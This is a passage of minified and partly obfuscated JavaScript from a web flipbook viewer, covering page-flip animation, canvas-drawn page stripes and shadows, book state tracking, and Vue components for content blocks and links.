this.bookState.hardcover)){m_=this.rightWrapper.firstPageNum;this.rightWrapper.destroy();this.rightWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!("1" << 64),3,!1,this.parentVm,this.contentCreator,O_.L4("55" << 0));this.rightWrapper.setRight();this.rightWrapper.setContent({'\u0066\u0069\u0072\u0073\u0074':m_});}else this.bookState.singleMode?this.bookState.singleMode && this.bookState.rtl && this.rightWrapper.setContent({'\u0066\u0069\u0072\u0073\u0074':null,'\u0073\u0065\u0063\u006f\u006e\u0064':null}):this.rightWrapper.setContent({'\u0073\u0065\u0063\u006f\u006e\u0064':null});this.once(O_.s6(51),()=>{A.Z.removeClass(this.globalWrapper,O_.L4(+"22"));this.resetWrappers();},this);this.nxtWrapper.contentObject1.setPageBg(this.bookState.currentRight);this.rightWrapper.contentObject2.setPageBg(this.bookState.currentLeft);this.flipToLeft();}else {-("1" - 0) === this.rightWrapper.firstPageNum && this.bookState.right.isFirst && A.Z.addClass(this.globalWrapper,O_.s6(22));w5=[this.bookState.left,this.bookState.right].filter(I7=>!I7.isNull)["0" >> 32] ?? this.bookState.left;M9=this.bookState.hardcover && (w5.isFirstSheet || w5.isFirst);if((this.bookState.right.isFirst || M9?(this.preWrapper.destroy(),this.preWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!+"1",+"2",!+"1",this.parentVm,this.contentCreator,O_.s6(+"55"),M9)):this.bookState.right.isFirst || this.preWrapper.setContent({'\u0066\u0069\u0072\u0073\u0074':null,'\u0073\u0065\u0063\u006f\u006e\u0064':null}),this.bookState.right.isFirst && this.bookState.hardcover)){s4=this.leftWrapper.secondPageNum;this.leftWrapper.destroy();this.leftWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!("0" * 1),3,!+"1",this.parentVm,this.contentCreator,O_.s6(+"137"));this.leftWrapper.setLeft();this.leftWrapper.setContent({'\u0073\u0065\u0063\u006f\u006e\u0064':s4});}else this.bookState.singleMode && this.bookState.rtl || this.leftWrapper.setContent({'\u0066\u0069\u0072\u0073\u0074':null});this.preWrapper.contentObject2.setPageBg(this.bookState.currentLeft);this.leftWrapper.contentObject1.setPageBg(this.bookState.currentRight);this.once(O_.L4("51" - 0),()=>{A.Z.removeClass(this.globalWrapper,O_.L4("22" | 16));O_.f4();this.resetWrappers(!1);},this);this.flipToRight();}};pe.prototype.initOnceSizes=function(){var R0=z_cHO;var N7,q8,N3,w_,p$,K4,h5,o_,R7,s0,U8;R0.b8();N7=this.bookHeight;q8=this.maskTop;N3=this.flipGradientWidth;w_=this.flipGradientTop;p$=this.transformOriginMethod;K4=this.innerReflexWidth;h5=this.innerReflexBottomWidth;o_=this.innerReflexBottomMarginTop;R7=this.renderData;s0=this.currentWrapper;U8=this.innerReflexMarginTop;switch(this.startPoint){case R0.s6(139):(this.renderData.reversePageOrigin=R0.s6("173" | 45),this.renderData.frontPageOrigin=R0.L4(189),this.renderData.maskOrigin=R0.L4("210" * 1) + (N7 + q8) + R0.L4("200" | 8),this.renderData.flipGradientOrigin=N3 + R0.L4(+"47") + (N7 + w_) + R0.L4(200),this.renderData.innerReflexBottomOrigin=R0.s6(+"98") + (N7 + o_) + R0.s6("200" >> 64),this.renderData.innerReflexOrigin=K4 + R0.L4(+"47") + (N7 + U8) + R0.s6(+"200"),this.renderData.reflexContainerOrigin=R0.L4(+"189"));break;case R0.L4(+"127"):(this.renderData.reversePageOrigin=R0.s6(+"134"),this.renderData.frontPageOrigin=R0.s6(+"109"),this.renderData.maskOrigin=R0.L4(+"210") + q8 + R0.s6("200" << 64),this.renderData.flipGradientOrigin=N3 + R0.s6(47) + w_ + R0.L4("200" >> 32),this.renderData.innerReflexBottomOrigin=R0.L4("98" | 32) + o_ + R0.L4(200),this.renderData.innerReflexOrigin=K4 + R0.s6(+"47") + U8 + R0.L4("200" * 1),this.renderData.reflexContainerOrigin=R0.s6("109" ^ 0));break;case R0.s6(+"160"):(this.renderData.reversePageOrigin=R0.s6(+"189"),this.renderData.frontPageOrigin=R0.L4(+"173"),this.renderData.maskOrigin=R0.L4("209" >> 32) + (N7 + q8) + R0.s6("200" | 64),this.renderData.flipGradientOrigin=R0.s6(98) + (N7 + w_) + R0.L4(+"200"),this.renderData.innerReflexBottomOrigin=h5 + R0.L4(47) + (N7 + o_) + R0.L4(+"200"),this.renderData.innerReflexOrigin=R0.L4(+"98") + (N7 + U8) + R0.s6("200" ^ 0),this.renderData.reflexContainerOrigin=R0.L4(173));break;default:(this.renderData.reversePageOrigin=R0.s6(+"109"),this.renderData.frontPageOrigin=R0.s6(+"134"),this.renderData.maskOrigin=R0.L4(+"209") + q8 + R0.L4("200" * 1),this.renderData.flipGradientOrigin=R0.s6("98" | 0) + w_ + R0.s6("200" << 32),this.renderData.innerReflexBottomOrigin=h5 + R0.L4(+"47") + o_ + R0.L4("200" - 0),this.renderData.innerReflexOrigin=R0.s6(+"98") + U8 + R0.s6("200" << 32),this.renderData.reflexContainerOrigin=R0.L4(+"134"));}this[s0].reversePage.style[p$]=R7.reversePageOrigin;this[s0].frontPage.style[p$]=R7.frontPageOrigin;this[s0].mask.style[p$]=R7.maskOrigin;this[s0].flipGradient.style[p$]=R7.flipGradientOrigin;this.innerReflexBottom.style[p$]=R7.innerReflexBottomOrigin;this[s0].innerReflex.style[p$]=R7.innerReflexOrigin;this[s0].reflexContainer.style[p$]=R7.reflexContainerOrigin;};pe.prototype.calcStripeSizes=function(){var Y3=z_cHO;Y3.b8();var M_,G_,U7,X$,I2,p8,T2,Y6,B5,B8,s1;if(Math.max(document.documentElement.clientWidth || "0" - 0,window.innerWidth || +"0") <= 480 || !this.bookState.thickness)return (this.leftStripeWidth=0,this.rightStripeWidth="0" >> 32,this.backboneWidth=0,this.leftStripeBlock.style.width="0" >> 32,this.rightStripeBlock.style.width="0" >> 64,void this.bookState.set(Y3.s6(+"56"),0));if(this.bookState.singleMode){X$=(+"0",ot.bh)().getters[Y3.L4(+"85")].currentPage;if((M_=(+"0",ot.bh)().getters[Y3.L4(+"188")](X$),G_=M_ + 1,U7=("0" - 0,ot.bh)().getters[Y3.s6("105" - 0)],this.bookState.rtl)){I2=G_;G_=U7 - M_ - 1;M_=U7 - I2 - +"1";}}else (M_=this.bookState.currentLeft,G_=this.bookState.currentRight,U7=this.bookState.pagesCount);p8=M_ / 2;T2=null === G_ || this.bookState.right.isLastSheet?"0" * 1:(U7 - G_ + +"1") / ("2" - 0);this.bookState.singleMode && !this.bookState.hardcover?B8=+"1":(Y6=(Y3.s6(156) === this.state || Y3.s6(+"31") === this.state) && (this.bookState.left.isFirstSheet || this.bookState.right.isFirst || this.bookState.left.isLast || this.bookState.right.isLastSheet) && !(!this.postPager && this.bookState.left.isFirstSheet && Y3.L4("11" ^ 0) === this.currentWrapper || !this.postPager && this.bookState.right.isLastSheet && Y3.s6("129" << 64) === this.currentWrapper) && !(this.postPager && this.bookState.left.isFirstSheet && Y3.s6("129" << 96) === this.currentWrapper || this.postPager && this.bookState.right.isLastSheet && Y3.L4("11" - 0) === this.currentWrapper),B5=this.progress,((this.bookState.left.isFirstSheet || this.bookState.right.isLastSheet) && !this.postPager || (this.bookState.right.isFirst || this.bookState.left.isLast) && this.postPager) && (B5=+"1" - B5),B8=Y6?B5:(this.bookState.right.isFirst || this.bookState.left.isLast) && Y3.L4("40" << 64) === this.state?"0" << 64:"1" << 64);s1=this.stripeCanvas.width - this.bookWidth;this.bookState.singleMode && this.bookState.rtl?(this.rightStripeWidth="0" << 0,this.rightStripeBlock.style.width=+"0",this.leftStripeWidth=Math.floor(ne(p8,U7,this.fittedSize,s1) * B8),this.leftStripeBlock.style.width=this.leftStripeWidth + Y3.L4(200)):this.bookState.singleMode?(this.leftStripeWidth="0" * 1,this.leftStripeBlock.style.width=+"0",this.rightStripeWidth=Math.floor(ne(T2,U7,this.fittedSize,s1) * B8),this.rightStripeBlock.style.width=this.rightStripeWidth + Y3.L4("200" ^ 0)):(this.leftStripeWidth=Math.floor(ne(p8,U7,this.fittedSize,s1) * B8),this.leftStripeBlock.style.width=this.leftStripeWidth + Y3.s6(+"200"),this.rightStripeWidth=Math.floor(ne(T2,U7,this.fittedSize,s1) * B8),this.rightStripeBlock.style.width=this.rightStripeWidth + Y3.s6("200" * 1));this.backboneWidth=this.leftStripeWidth + this.rightStripeWidth;this.bookState.set(Y3.s6(+"56"),ne(U7 / +"2",U7,this.fittedSize,s1));};pe.prototype.calcStripeColors=function(){var a0=z_cHO;a0.f4();var f9,h8,Q7,E4,u_,S_,o7,A5;f9=[];h8=[];Q7=this.bookState.pagesCount;E4=["200" * 1,"210" - 0,"220" * 1,"230" | 32,+"240"];A5=function(){var K8;K8=Math.min(Math.floor(Math.random() * E4.length),E4.length - +"1");return K8 === u_ || K8 - ("1" >> 32) === u_ || K8 + ("1" | 1) === u_?A5():K8;};for(var T9=+"0",W7=Q7;T9 < W7;T9++)(u_=A5(),S_=".2" * 1 * Math.random() + ".2" * 1 + +"1",o7=a0.s6("198" | 2) + E4[u_] + a0.L4("44" | 4) + E4[u_] + a0.L4(+"44") + E4[u_] + a0.L4(+"133"),f9.push(o7),h8.push(S_));this.stripeColorArray=f9;this.stripeHeightArray=h8;};pe.prototype.renderStripe=function(){var C$,s3,c$,B9,f3,b7,G5,m$,c5,L_;C$=this.stripeCanvasCTX;z_cHO.b8();s3=this.stripeCanvas;c$=this.bookWidth;B9=this.bookHeight;f3=Math.round((s3.width - c$) / ("2" * 1));b7=s3.width;G5=!1;m$=!("1" ^ 0);if((C$.clearRect(+"0",0,b7,s3.height),(+"0" === this.rightWrapper.firstPageNum || +"0" === this.leftWrapper.firstPageNum && this.bookState.rtl) && (G5=!0),(this.leftWrapper.secondPageNum === this.bookState.pagesCount - 1 || this.rightWrapper.secondPageNum === this.bookState.pagesCount - +"1" && this.bookState.rtl) && (m$=!+"0"),this.leftStripeWidth > +"0" && !G5)){c5=0;for(var a$=this.leftStripeWidth;a$ > "0" * 1;a$--)(c5=a$ * this.stripeHeightArray[this.leftStripeWidth - a$],C$.fillStyle=this.stripeColorArray[this.leftStripeWidth - a$],C$.fillRect(f3 - a$ + 1,Math.round(c5 / ("4" << 0)),+"1",B9 - a$ / 2));}if(this.rightStripeWidth > "0" << 32 && !m$){L_="0" | 0;for(var F5="0" * 1,b2=this.rightStripeWidth;F5 < b2;F5++)(L_=F5 * this.stripeHeightArray[this.stripeColorArray.length - b2 + F5],C$.fillStyle=this.stripeColorArray[this.stripeColorArray.length - b2 + F5],C$.fillRect(f3 + c$ + F5 - +"1",Math.round(L_ / 4),+"1",B9 - F5 / +"2"));}};ye=function(F6,a3,b_,E9,O0,M7){M7=M7 || "1" | 1;b_+=".6" * 1 * O0;F6.beginPath();F6.moveTo(a3,b_);F6.bezierCurveTo(a3,b_ - O0,a3 + ".6" * 1 * E9,b_ - O0 / 3.5,a3 + E9,b_);F6.shadowColor=z_cHO.s6(171);F6.shadowBlur=M7;F6.shadowOffsetY=+".3" * -O0;F6.closePath();z_cHO.f4();F6.fill();};
function ke(t,e){this.x=t,this.y=e}pe.prototype.renderBookShadow=function(t){const e=this.shadowCanvasCTX,i=this.shadowCanvas,s=i.width,o=i.height,r=this.bookWidth,a=this.pageWidth,n=this.bookHeight,h=(s-r)/2,l=(o-n)/2,c=this.rightStripeWidth,d=this.leftStripeWidth,p=this.backboneWidth,g=.01*r;let u=Math.round(n*ce);u%2!=0&&(u+=1);const f=Math.round(i.height-u)/2,m=this.bookState.singleMode,b=8,S=12,v=(a-4)/a,w=(n-8)/n;let y,k;const x=l+n,$=s/2;e.clearRect(0,0,s,o),e.fillStyle="rgba(0,0,0,0.17)",e.save();const z=t=>{t.addColorStop(0,"rgba(0, 0, 0, 0.1)"),t.addColorStop(.01,"rgba(0, 0, 0, 0)"),t.addColorStop(.05,"rgba(0, 0, 0, 0.05)"),t.addColorStop(.5,"rgba(0, 0, 0, 0)")},P=()=>{if(e.shadowColor=null,e.shadowBlur=0,e.shadowOffsetY=0,"rgt-sdw"!==t){const t=$-g-d,i=$-g-d-a,s=e.createLinearGradient(t,0,i,0);z(s),e.fillStyle=s,e.fillRect(t,f,-a,u)}if("lft-sdw"!==t){const t=$+g+c+(m?p:0),i=$+g+c+a,s=e.createLinearGradient(t,0,i,0);z(s),e.fillStyle=s,e.fillRect(t,f,a,u)}},C=function(){const s=i.width/2-d-g,o=p+2*g,r=e.createLinearGradient(s,0,s+o,0);r.addColorStop(0,"rgba(0, 0, 0, 0)"),r.addColorStop(.02,"rgba(0, 0, 0, 0.33)"),r.addColorStop(.5,"rgba(0, 0, 0, 0.20)"),r.addColorStop(.98,"rgba(0, 0, 0, 0.33)"),r.addColorStop(1,"rgba(0, 0, 0, 0)"),e.shadowColor=null,e.shadowBlur=0,e.shadowOffsetY=0,e.fillStyle=r,e.fillRect(s,f,o,u),e.restore(),"rgt-sdw"===t&&e.clearRect(s-2,f-2,g+2,u+4),"lft-sdw"===t&&e.clearRect(s+p+g,f-2,g+2,u+4)},T=()=>{m?e.scale(.999,.999):(e.scale(v,w),e.translate(b/2,S/2)),e.shadowColor="#000",e.shadowBlur=7,e.shadowOffsetY=0,e.fillRect(h,l,a,n),e.fillRect($,l,a,n),e.restore(),this.bookState.left.isFirstSheet||(ye(e,$,l,-a,.3*l,12),ye(e,$,x,-a,.9*-l,18)),this.bookState.right.isLastSheet||(ye(e,$,l,a,.2*l,12),ye(e,$,x,a,.6*-l,18))},M=function(t){m?e.scale(.999,.999):(e.scale(v,w),e.translate(b/2,S/2)),"right"===t?(k=1,y=$):(k=-1,y=h),e.shadowColor="#000",e.shadowBlur=7,e.shadowOffsetY=1,e.fillRect(y,l,a,n),e.restore(),ye(e,$,l,a*k,l*("right"===t?.2:.3),12),ye(e,$,x,a*k,-l*("right"===t?.6:.9),18)};"rgt-sdw"===t?M("right"):"lft-sdw"===t?M("left"):T(),this.bookState.hardcover&&r&&(P(),C()),this.renderStripe()};const xe=pe,$e=function(t){this.bookState=new ze(t),this.book=new xe(t.container,t.bookSize,this.bookState,t.parentVm,t.contentCreator,t.initDomEvents),this.notForPagerEventTrigger=!1,this.options=t,this.book.on("flip:toRight",this.flipToRight,this),this.book.on("flip:toLeft",this.flipToLeft,this),this.book.on("render:start",this.renderStart,this),this.book.on("render:finish",this.renderFinish,this),this.book.on("flip:finished",this.flipFinished,this),this.book.on("swipe",this.onSwipe,this),this.bookState.on("state:updated",this.stateUpdated,this),this.bookState.on("change:stripesWidth",this.changeStripesWidth,this),this.on("go:toRight",this.goToRight),this.on("go:toLeft",this.goToLeft),this.on("go:toPage",this.goToPage)};$e.prototype=new It.Z,$e.prototype.constructor=$e,$e.prototype.destructor=function(){this.off("go:toRight",this.goToRight),this.off("go:toLeft",this.goToLeft),this.off("go:toPage",this.goToPage),this.book.off("flip:toRight",this.flipToRight,this),this.book.off("flip:toLeft",this.flipToLeft,this),this.book.off("render:start",this.renderStart,this),this.book.off("render:finish",this.renderFinish,this),this.book.off("flip:finished",this.flipFinished,this),this.book.off("swipe",this.onSwipe,this),this.book.destructor(),this.bookState.off("state:updated",this.stateUpdated,this),this.bookState.off("change:stripesWidth",this.changeStripesWidth,this),this.bookState.destructor()},$e.prototype.flipToRight=function(){this.notForPagerEventTrigger?(this.notForPagerEventTrigger=!1,this.book.shiftPages(),this.options.state.dispatch("pager/unfreeze",{target:"flip-book"})):(this.options.state.dispatch("pager/unfreeze",{target:"flip-book"}),(0,he.oJ)(this.options.state,{target:"flipComponent"}),this.bookState._updateState(),this.book.shiftPages())},$e.prototype.flipToLeft=function(){this.notForPagerEventTrigger?(this.notForPagerEventTrigger=!1,this.book.shiftPages(),this.options.state.dispatch("pager/unfreeze",{target:"flip-book"})):(this.options.state.dispatch("pager/unfreeze",{target:"flip-book"}),(0,he.X0)(this.options.state,{target:"flipComponent"}),this.bookState._updateState(),this.book.shiftPages())},$e.prototype.renderStart=function(t){this.options.state.dispatch("workspace/setAnimationProgress",{animationType:"pagerMove"}),this.trigger("render:start",t)},$e.prototype.onSwipe=function(t){this.options.parentVm.$root.$emit("swipe",t)},$e.prototype.renderFinish=function(){this.options.state.dispatch("workspace/unsetAnimationProgress"),this.options.parentVm.$emit("render:finish"),this.trigger("render:finish")},$e.prototype.flipFinished=function(){this.trigger("flip:finished")},$e.prototype.stateUpdated=function(t,e){this.trigger("go:"+t,e)},$e.prototype.changeStripesWidth=function(t){this.options.parentVm.stripesWidth=t},$e.prototype.goToRight=function(t){"flipComponent"!==t&&"orientation"!==t&&(this.notForPagerEventTrigger=!0,this.bookState.rtl?this.book.flipToLeft(!1,!1,this.bookState.getState()):this.book.flipToRight(!1,!1,this.bookState.getState()))},$e.prototype.goToLeft=function(t){"flipComponent"!==t&&"orientation"!==t&&(this.notForPagerEventTrigger=!0,this.bookState.rtl?this.book.flipToRight(!1,!1,this.bookState.getState()):this.book.flipToLeft(!1,!1,this.bookState.getState()))},$e.prototype.goToPage=function(t){"flipComponent"!==t&&"orientation"!==t&&(!this.options.isMobile||"toc"!==t&&"thumbnails"!==t&&"search"!==t&&"notes"!==t?(this.options.state.dispatch("pager/freeze",{target:"flip-book"}),this.notForPagerEventTrigger=!0,this.book.flipToPager(this.bookState.getState())):(this.bookState.trigger("reset:wrappers",!0),this.options.parentVm.$root.$emit("turnStart"),this.options.parentVm.$root.$emit("turnStop")))},$e.prototype.resizeBook=function(t){this.book.setBookSize(t)},$e.prototype.block=function(t){this.book.block(t)},$e.prototype.unblock=function(){this.book.unblock()},$e.prototype.resetBook=function(){this.book.resetWrappers()},$e.prototype.setRtl=function(t){this.bookState.set("rtl",t)},$e.prototype.setHardcover=function(t){this.bookState.set("hardcover",t)},$e.prototype.setThickness=function(t){this.bookState.set("thickness",t)},$e.prototype.setHardcoverColor=function(t){this.bookState.set("hardcoverColor",t)},$e.prototype.setSingleMode=function(t){this.bookState.set("singleMode",t)},$e.prototype.updateState=function(t,e,i){this.bookState._updateState(t,e,i)},$e.prototype.setZoom=function(t){this.bookState.set("isZoomed",t)};const ze=function(t){this.state=t.state,this.isMobile=t.isMobile,this.version=t.version,this.hardcover=this.state.getters["book/hasHardcover"],this.hardcoverColor=this.state.state.book.hardcoverColor,this.rtl=this.state.state.book.rightToLeft,this.isZoomed=!1,this.stripesWidth=0,this.left={},this.right={},this._updateState(),this.on("change:singleMode",this.resetWrappers),this.on("change:rtl",this.resetWrappers),this.on("change:hardcover",this.resetWrappers),this.on("change:hardcoverColor",this.resetStyles),this.on("change:thickness",this.resetStyles),this.on("change:isZoomed",this.resetStyles)};ze.prototype=new It.Z,ze.prototype.constructor=ze,ze.prototype.destructor=function(){this.off("change:singleMode",this.resetWrappers),this.off("change:rtl",this.resetWrappers),this.off("change:hardcover",this.resetWrappers),this.off("change:hardcoverColor",this.resetStyles),this.off("change:thickness",this.resetStyles),this.off("change:isZoomed",this.resetStyles)},ze.prototype.resetWrappers=function(){this._updateState(),this.trigger("reset:wrappers")},ze.prototype.resetStyles=function(){this.trigger("reset:styles")},ze.prototype.getState=function(){return{leftSheet:this.getLeftSheet(),rightSheet:this.getRightSheet(),bottomLeftSheet:this.getBottomLeftSheet(),bottomRightSheet:this.getBottomRightSheet()}},ze.prototype._updateState=function(t,e,i){t=t||"",e=e||this.state.getters["pager/state"],i=i||this.state.getters["pager/flipState"],this.thickness=this.state.state.book.thickness,this.pagesCount=this.state.getters["pages/pagesCount"],this.singleMode=e.singleMode,this.pagesCount=i.pagesCount,this.currentLeft=i.currentLeft<0?null:i.currentLeft,this.currentRight=i.currentRight>=i.pagesCount?null:i.currentRight,this.right.isFirst=0===this.currentRight,this.right.isLast=this.currentRight===this.pagesCount-1,this.right.isNull=null===this.currentRight,this.right.isLastSheet=this.currentRight===this.pagesCount-2,this.left.isFirst=0===this.currentLeft,this.left.isLast=this.currentLeft===this.pagesCount-1,this.left.isNull=null===this.currentLeft,this.left.isFirstSheet=1===this.currentLeft,""!==t&&this.trigger("state:updated",t,e.target)},ze.prototype.isFirstPage=function(t){return 0===t},ze.prototype.isLastPage=function(t){return t===this.pagesCount-1},ze.prototype.isFirstSheet=function(t){return 1===t},ze.prototype.isLastSheet=function(t){return t===this.pagesCount-2},ze.prototype.isNullPage=function(t){return t<0||t>this.pagesCount-1||null===t},ze.prototype.getRightSheet=function(){return{first:null===this.currentRight?null:this.currentRight,second:null===this.currentRight?null:this.currentRight+1}},ze.prototype.getLeftSheet=function(){return{first:null===this.currentLeft?null:this.currentLeft-1,second:null===this.currentLeft?null:this.currentLeft}},ze.prototype.getBottomRightSheet=function(){return{first:null===this.currentRight?null:this.currentRight+2,second:null===this.currentRight?null:this.currentRight+3}},ze.prototype.getBottomLeftSheet=function(){return{first:null===this.currentLeft?null:this.currentLeft-3,second:null===this.currentLeft?null:this.currentLeft-2}};const Pe=$e;var Ce=function(){var t=this,e=t.$createElement;return(t._self._c||e)("div",{staticClass:"block",style:t.containerStyle,attrs:{"data-id":t.itemId}})},Te=[],Me=i(9937),Ie=i(2358);const Le=.16,Re={large:64,medium:48,small:32},Ee={large:.6,medium:.45,small:.3},Fe={image:{icon:"image",size:"large",position:"center",visibility:"hover"},video:{icon:"play",size:"large",position:"center",visibility:"always"},gif:{icon:"gif",size:"large",position:"center",visibility:"always"},gallery:{icon:"gallery",size:"large",position:"center",visibility:"always"}},Oe={name:"ContentBase",props:{contentMargin:{type:Number,required:!0},data:{type:Object,required:!0},isCurrent:{type:Boolean,required:!1},iconInitialAnimationDelay:{type:Boolean,default:!1,required:!1}},data:function(){return{crossWideItem:null,isHighlighted:!1,thumbnailBlob:null,blobCache:{}}},computed:{singleMode(){return this.$store.state.pager.singleMode},slideComponent:function(){return"slide-book"===this.$store.state.workspace.bookComponent},pageWidth(){if(this.slideComponent){const t=this.singleMode&&this.data.page.isWide;return this.$store.getters["pages/currentSize"](this.data.pageId).width/(t?2:1)}return this.$store.getters["pages/size"].width},iconType(){return this.data.icon?.icon||Fe[this.data.type].icon},iconSize(){return this.data.icon?.size||Fe[this.data.type].size},iconPosition(){return this.data.icon?.position||Fe[this.data.type].position},iconVisibility(){return"gif"!==this.data.type||this.rawThumbnailUrl&&this.showThumbnail&&!this.isLoading&&(this.isLoaded||this.isIdle)?this.data.icon?.visibility||Fe[this.data.type].visibility:"never"},iconVisibilityStyle(){switch(this.iconVisibility){case"hover":return{opacity:"0"};case"never":return{display:"none"};default:return{opacity:"1"}}},iconDelay(){return this.iconInitialAnimationDelay?this.data.iconDelay:0},iconDelayStyle(){return{transitionDelay:this.iconDelay+"ms"}},iconNominalSize(){return Re[this.iconSize]},iconSizeLimit(){return Ee[this.iconSize]},iconActualSize(){const t=this.singleMode&&this.data.crossWide?this.containerRect.width-this.contentElementNonVisibleWidth:this.containerRect.width,e=Math.min(t*this.iconSizeLimit,this.containerRect.height*this.iconSizeLimit,this.iconNominalSize);return{width:Math.round(e),height:Math.round(e)}},iconPadding(){return Math.floor(this.iconActualSize.height*Le)},iconTranslate(){return"center"===this.iconPosition?{x:"-50%",y:"-50%"}:{x:"0",y:"0"}},iconPositionStyle(){switch(this.iconPosition){case"top-left":return{top:this.iconPadding+"px",left:this.iconPadding+"px"};case"bottom-left":return{bottom:this.iconPadding+"px",left:this.iconPadding+"px"};case"top-right":return{top:this.iconPadding+"px",right:this.iconPadding+"px"};case"bottom-right":return{bottom:this.iconPadding+"px",right:this.iconPadding+"px"};default:return{top:"50%",left:"50%"}}},iconColor(){const t=this.data.icon?.backgroundColor||"rgba(39, 47, 55, .6)",e=(0,c.R)((0,c.l)(t));return{backgroundColor:t,mainColor:this.data.icon?.mainColor||(e>.5?"#000000":"#ffffff")}},crossWideContentMargin(){return this.singleMode&&this.data.crossWide?this.contentMargin:null},contentElementNonVisibleWidth(){if(!this.singleMode||!this.data.crossWide)return null;let t=this.pageWidth-this.containerRect.left-this.crossWideContentMargin;return"left"===this.data.page.side&&(t=this.containerRect.width-t),t},crossWideCenterIconLeft(){if(!this.singleMode||!this.data.crossWide)return null;let t;if("left"===this.data.page.side)t=Math.floor((this.pageWidth-this.containerRect.left-this.crossWideContentMargin)/2);else{const e=this.containerRect.width-this.contentElementNonVisibleWidth;t=Math.floor(e/2+this.contentElementNonVisibleWidth)}return t},crossWideCenterIconPositionStyle(){return{left:this.crossWideCenterIconLeft+"px"}},crossWideIconPositionStyle(){if(!this.singleMode||!this.data.crossWide)return null;switch(this.iconPosition){case"bottom-left":case"top-left":return"left"===this.data.page.side?{}:{left:this.contentElementNonVisibleWidth+this.iconPadding+"px"};case"bottom-right":case"top-right":return"right"===this.data.page.side?{}:{right:this.contentElementNonVisibleWidth+this.iconPadding+"px"};default:return this.crossWideCenterIconPositionStyle}},iconStyles:function(){return{...this.iconVisibilityStyle,...this.iconPositionStyle,...this.crossWideIconPositionStyle,...this.iconDelayStyle}},containerRect:function(){return{width:Math.round(this.data.rect[0]*this.data.scaleRatio.w),height:Math.round(this.data.rect[1]*this.data.scaleRatio.h),left:Math.round(this.data.rect[2]*this.data.scaleRatio.w),top:Math.round(this.data.rect[3]*this.data.scaleRatio.h)}},containerStyle:function(){let t={};return this.data.style?t=this.data.style:(t={width:this.containerRect.width+"px",height:this.containerRect.height+"px",left:this.containerRect.left+"px",top:this.containerRect.top+"px"},this.data.zIndex&&(t.zIndex=this.data.zIndex),(0,y.o8)(this.data.angle)||0!==this.data.angle&&(t.transformOrigin="0px 0px 0px",t.transform="rotate("+this.data.angle+"rad)")),t},rawThumbnailUrl:function(){return this.data.previewUrl?(0,Ie.n)({filenameOrUrl:this.data.previewUrl,encode:!0}):null},thumbnailStyle:function(){return this.getThumbnailStyle(this.thumbnailBlob)},isCurrentPage:function(){return this.$store.getters["pager/isCurrentPage"]({pageId:this.data.page.id,pageSide:this.data.page.side})},isMobile:function(){return this.$store.getters["workspace/isMobile"]},isFrozenOrNotReady(){return this.$store.state.workspace.freezed||"ready"!==this.$store.state.workspace.status||this.$store.state.pager.freezed},isResizing(){return this.$store.state.workspace.isResizing}},created(){this.data.crossWide&&"both"!==this.data.page.side&&!this.singleMode&&(this.$on("crossWideRegistered",(t=>{this.crossWideItem=t})),this.$contentRegistry.registerContentItem(this.data.itemId,this.data.page.side,this))},beforeMount:function(){this.rawThumbnailUrl&&this.loadThumbnail()},mounted(){this.rawThumbnailUrl||this.$emit("ready",this),this.data.crossWide&&(this.mouseOverBound=this.setCrossWideHighlight.bind(this,!0),this.mouseOutBound=this.setCrossWideHighlight.bind(this,!1),this.$el.addEventListener("mouseover",this.mouseOverBound),this.$el.addEventListener("mouseout",this.mouseOutBound))},beforeDestroy(){this.data.crossWide&&(this.$el.removeEventListener("mouseover",this.mouseOverBound),this.$el.removeEventListener("mouseout",this.mouseOutBound),this.$contentRegistry.deregisterContentItem(this.data.itemId,this.data.page.side)),this.thumbnailBlob&&(this.thumbnailBlob=null),this.blobCache&&(Object.keys(this.blobCache).forEach((t=>window.URL.revokeObjectURL(this.blobCache[t]))),this.blobCache=null)},watch:{rawThumbnailUrl(t){t?this.loadThumbnail():this.thumbnailBlob&&(this.thumbnailBlob=null)},isCurrentPage(t){t||(this.isHighlighted=!1,this.crossWideItem&&(this.crossWideItem.isHighlighted=!1))}},methods:{loadThumbnail(){const t=this.blobCache[this.rawThumbnailUrl];t?this.thumbnailBlob=t:(0,Me.Z)({url:this.rawThumbnailUrl,autofillCrossOrigin:!1,callback:t=>{this.ready||(this.ready=!0,-1===["gallery","image"].indexOf(this.data.type)&&this.$emit("ready",this)),this.thumbnailBlob=t,(0,y.Kn)(this.blobCache)&&(this.blobCache[this.rawThumbnailUrl]=this.thumbnailBlob)},errorback:t=>{this.error=!0,this.$emit("error",this,t)}})},getThumbnailStyle:function(t){const e={};return this.thumbnailBlob&&(e.backgroundImage='url("'+t+'")'),e},setCrossWideHighlight:function(t){this.isHighlighted=t,this.crossWideItem&&(this.crossWideItem.isHighlighted=t)}}};var _e,De;const We=(0,R.Z)(Oe,_e,De,!1,null,null,null).exports,Be={extends:We,name:"ContentBlock",data(){return{itemId:this.data.type+"_"+this.data.itemId}},methods:{zoomToBLock:function(){this.$emit("block:zoomed",this.data.rect)}}};const Ae=(0,R.Z)(Be,Ce,Te,!1,null,null,null).exports;var He=function(){var t=this,e=t.$createElement;return(t._self._c||e)("a",{directives:[{name:"show",rawName:"v-show",value:t.isVisible,expression:"isVisible"}],class:t.classes,style:t.linkStyle,attrs:{"data-url":t.url,"data-id":t.data.id,"data-item-id":t.data.itemId,title:t.title,target:t.target}})},Ne=[];const Ze={extends:We,name:"ContentLink",computed:{title:function(){return this.data.url?0===this.data.url.indexOf("geo:")||0===this.data.url.indexOf("geopoint:")||0===this.data.url.indexOf("callto:")||0===this.data.url.indexOf("wtai:")||0===this.data.url.indexOf("tel:")||0===this.data.url.indexOf("sms:")||0===this.data.url.indexOf("mailto:")||0===this.data.url.indexOf("skype:")?this.tryToDecodeURI(this.data.url.split("?")[0]):this.$t("TopMenu.EXTERNAL_LINK_TIP",{0:this.tryToDecodeURI(this.url.split("?")[0])}):this.data.id?this.$t("AlertMessage.LINK_PAGE_TIP")+" "+this.$store.getters["pages/pageCaptionById"]({id:this.data.id}):""},url:function(){return this.data.url?0===this.data.url.indexOf("geo:")?this.data.url.split(";")[0].replace(" ","").replace("geo:","http://maps.apple.com/?ll="):0===this.data.url.indexOf("geopoint:")?this.data.url.split(";")[0].replace(" ","").replace("geopoint:","http://maps.apple.com/?ll="):this.data.url:null},target:function(){return this.data.url?this.data.target||this.props.target:null},props:function(){return this.$store.state.book.links},backgroundColor(){let t=this.data.color||this.props.color;return-1!==t.indexOf("#")&&(t="rgba("+(0,c.l)(t).join(",")+",0.6)"),t},linkStyle:function(){const 